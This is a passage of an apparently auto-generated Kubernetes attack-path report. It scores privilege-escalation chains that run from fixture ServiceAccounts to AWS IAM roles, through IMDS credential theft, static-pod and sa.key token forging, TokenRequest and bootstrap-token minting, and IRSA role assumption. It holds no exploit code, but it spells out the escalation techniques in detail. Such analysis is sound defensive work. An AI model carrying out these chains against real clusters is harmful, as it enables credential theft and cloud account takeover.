    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM User/gw-patcher → minted service-account tokens score 5.3 3 hops View finding →

User `gw-patcher` reaches minted service-account tokens in 3 hops via Workload template rewrite → Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 3 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
→ aws iam role

23 paths to aws iam role

23 high
HIGH ServiceAccount/cloud-eks-imp/imp-irsa → aws iam role score 7.6 1 hop View finding →

ServiceAccount `imp-irsa` in namespace `cloud-eks-imp` reaches aws iam role in 1 hop via Assume AWS IAM Role via IRSA.

  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa → aws iam role score 7.6 1 hop View finding →

ServiceAccount `eks-admin-irsa` in namespace `cloud-eks-test` reaches aws iam role in 1 hop via Assume AWS IAM Role via IRSA.

  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/cloud-eks-test/eks-token-minter → aws iam role score 7.5 2 hops View finding →

ServiceAccount `eks-token-minter` in namespace `cloud-eks-test` reaches aws iam role in 2 hops via TokenRequest minting → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-token-create → aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via TokenRequest minting → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-token-create → aws iam role score 7.5 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via TokenRequest minting → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → aws iam role score 7.3 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches aws iam role in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches aws iam role in 2 hops via Ephemeral container injection → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches aws iam role in 2 hops via Pod exec → container takeover → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via Workload creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → aws iam role score 7.2 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches aws iam role in 2 hops via Workload creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/vulnerable/privileged-reader → aws iam role score 7.2 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/vulnerable/privileged-reader → aws iam role score 7.2 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches aws iam role in 2 hops via Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → aws iam role score 7.0 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches aws iam role in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → aws iam role score 7.0 3 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches aws iam role in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

